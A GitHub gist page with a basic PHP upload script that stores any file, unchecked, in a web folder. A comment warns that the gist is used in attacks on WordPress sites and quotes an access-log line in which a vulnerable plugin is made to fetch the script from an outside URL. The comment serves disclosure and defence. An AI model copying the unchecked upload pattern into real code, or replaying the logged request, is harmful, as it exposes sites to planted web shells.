Skip to content

Instantly share code, notes, and snippets.

@levidurfee

levidurfee/upload.php

Forked from taterbase/upload.php
Last active August 29, 2018 18:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save levidurfee/62536f7642b0301f1748f7e3707fb6b2 to your computer and use it in GitHub Desktop.
Save levidurfee/62536f7642b0301f1748f7e3707fb6b2 to your computer and use it in GitHub Desktop.
Download ZIP
Simple file upload in php
Raw
upload.php
<?php
$message = '';
if(!empty($_FILES['uploaded_file'])) {
$path = 'uploads/';
$path = $path . uniqid('u', true) . '-' . basename($_FILES['uploaded_file']['name']);
if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
$message = 'The file ' . basename( $_FILES['uploaded_file']['name']) . ' has been uploaded';
} else {
$message = 'There was an error uploading the file, please try again!';
$message .= $_FILES['uploaded_file']['error'];
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Upload your files</title>
</head>
<body>
<?php echo $message; ?>
<form enctype="multipart/form-data" action="upload.php" method="POST">
<p>Upload your file</p>
<input type="file" name="uploaded_file"></input><br />
<input type="submit" value="Upload"></input>
</form>
</body>
</html>
@BAHC
Copy link

BAHC commented Aug 29, 2018

Please use $path = 'PATH_TO_YOUR_UPLOAD_DIRECTORY/'; instead $path = 'uploads/'; for this gist!
It is because there are someone using your gists to upload hazardous scripts at wordpress sites.
Example of attack:
91.214.44.136 - - [27/Aug/2018:08:22:16 +0200] "GET /wp-content/plugins/wp-mobile-detector/resize.php?src=https://gist.githubusercontent.com/taterbase/2688850/raw/b9d214c9cbcf624e13c825d4de663e77bf38cc14/upload.php HTTP/1.1" 302 593 "-" "Mozilla/5.0 (Windows NT 6.1; rv:57.0) Gecko/20100101 Firefox/57.0"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment